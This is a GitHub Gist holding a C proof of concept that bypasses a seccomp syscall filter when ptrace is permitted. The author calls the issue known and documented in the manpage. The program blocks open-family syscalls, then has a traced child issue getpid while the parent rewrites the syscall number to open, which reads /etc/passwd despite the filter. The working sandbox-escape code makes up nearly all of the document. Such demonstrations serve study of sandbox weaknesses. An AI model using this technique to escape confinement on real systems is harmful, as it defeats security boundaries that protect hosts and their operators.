Last active
September 2, 2024 05:46
-
-
Save thejh/8346f47e359adecd1d53 to your computer and use it in GitHub Desktop.
PoC for bypassing seccomp if ptrace is allowed (known, documented issue, even mentioned in the manpage)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <assert.h> | |
#include <signal.h> | |
#include <errno.h> | |
#include <fcntl.h> | |
#include <stddef.h> | |
#include <sys/syscall.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <sys/ptrace.h> | |
#include <sys/user.h> | |
#include <sys/prctl.h> | |
#include <sys/wait.h> | |
#include <linux/seccomp.h> | |
#include <linux/filter.h> | |
#include <linux/audit.h> | |
static long forbidden_syscalls[] = { | |
// yeah, not really exhaustive or sensible, but enough for demo purposes | |
SYS_open, SYS_openat, SYS_creat | |
}; | |
#define forbidden_syscalls_len ((sizeof(forbidden_syscalls)/sizeof(forbidden_syscalls[0]))) | |
int main(void) { | |
setbuf(stdout, NULL); | |
setbuf(stderr, NULL); | |
assert(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == 0); | |
struct sock_filter instrs[forbidden_syscalls_len+5]; | |
#define NUM_INSTRS (sizeof(instrs) / sizeof(instrs[0])) | |
#define FAIL_IDX (NUM_INSTRS-1) | |
#define ACCEPT_IDX (NUM_INSTRS-2) | |
instrs[0] = (struct sock_filter)BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, arch)); | |
unsigned int my_arch = | |
#ifdef __x86_64__ | |
AUDIT_ARCH_X86_64 | |
#else | |
#error unknown architecture | |
#endif | |
; | |
instrs[1] = (struct sock_filter)BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, my_arch, 0, FAIL_IDX-(1+1)); | |
instrs[2] = (struct sock_filter)BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)); | |
for (int i=0; i<forbidden_syscalls_len; i++) { | |
instrs[i+3] = (struct sock_filter)BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, forbidden_syscalls[i], FAIL_IDX-(i+3+1), 0); | |
} | |
instrs[ACCEPT_IDX] = (struct sock_filter)BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW); | |
instrs[FAIL_IDX] = (struct sock_filter)BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ERRNO | 0x1234); | |
struct sock_fprog fprog = {.len = NUM_INSTRS, .filter = instrs}; | |
// for debugging | |
FILE *f = fopen("filter.dbg", "w"); | |
fwrite(fprog.filter, sizeof(instrs), 1, f); | |
fclose(f); | |
assert(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &fprog, 0, 0) == 0); | |
// first try to open the file directly, which should fail... | |
int fd = syscall(SYS_open, (unsigned long)"/etc/passwd", O_RDONLY); | |
printf("open() returned -0x%x\n", -fd); | |
// and now try it with ptrace | |
pid_t childpid = fork(); | |
assert(childpid >= 0); | |
if (!childpid) { | |
assert(ptrace(PTRACE_TRACEME, 0, NULL, NULL) == 0); | |
syscall(SYS_tkill, syscall(SYS_gettid), SIGSTOP); | |
errno = 0; | |
int r = syscall(SYS_getpid, (unsigned long)"/etc/passwd", O_RDONLY); /* manipulated syscall */ | |
printf("fake getpid return value: 0x%x\n", r); | |
char buf[30]; | |
ssize_t n = read(r, buf, sizeof(buf)); | |
if (n > 0) write(1, buf, n); | |
printf("\n"); | |
return 0; | |
} | |
assert(waitpid(childpid, NULL, 0) == childpid); | |
assert(ptrace(PTRACE_SYSCALL, childpid, NULL, NULL) == 0); | |
assert(waitpid(childpid, NULL, 0) == childpid); | |
struct user_regs_struct regs; | |
assert(ptrace(PTRACE_GETREGS, childpid, NULL, ®s) == 0); | |
assert(regs.orig_rax == SYS_getpid); | |
regs.orig_rax = SYS_open; | |
assert(ptrace(PTRACE_SETREGS, childpid, NULL, ®s) == 0); | |
assert(ptrace(PTRACE_DETACH, childpid, NULL, NULL) == 0); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment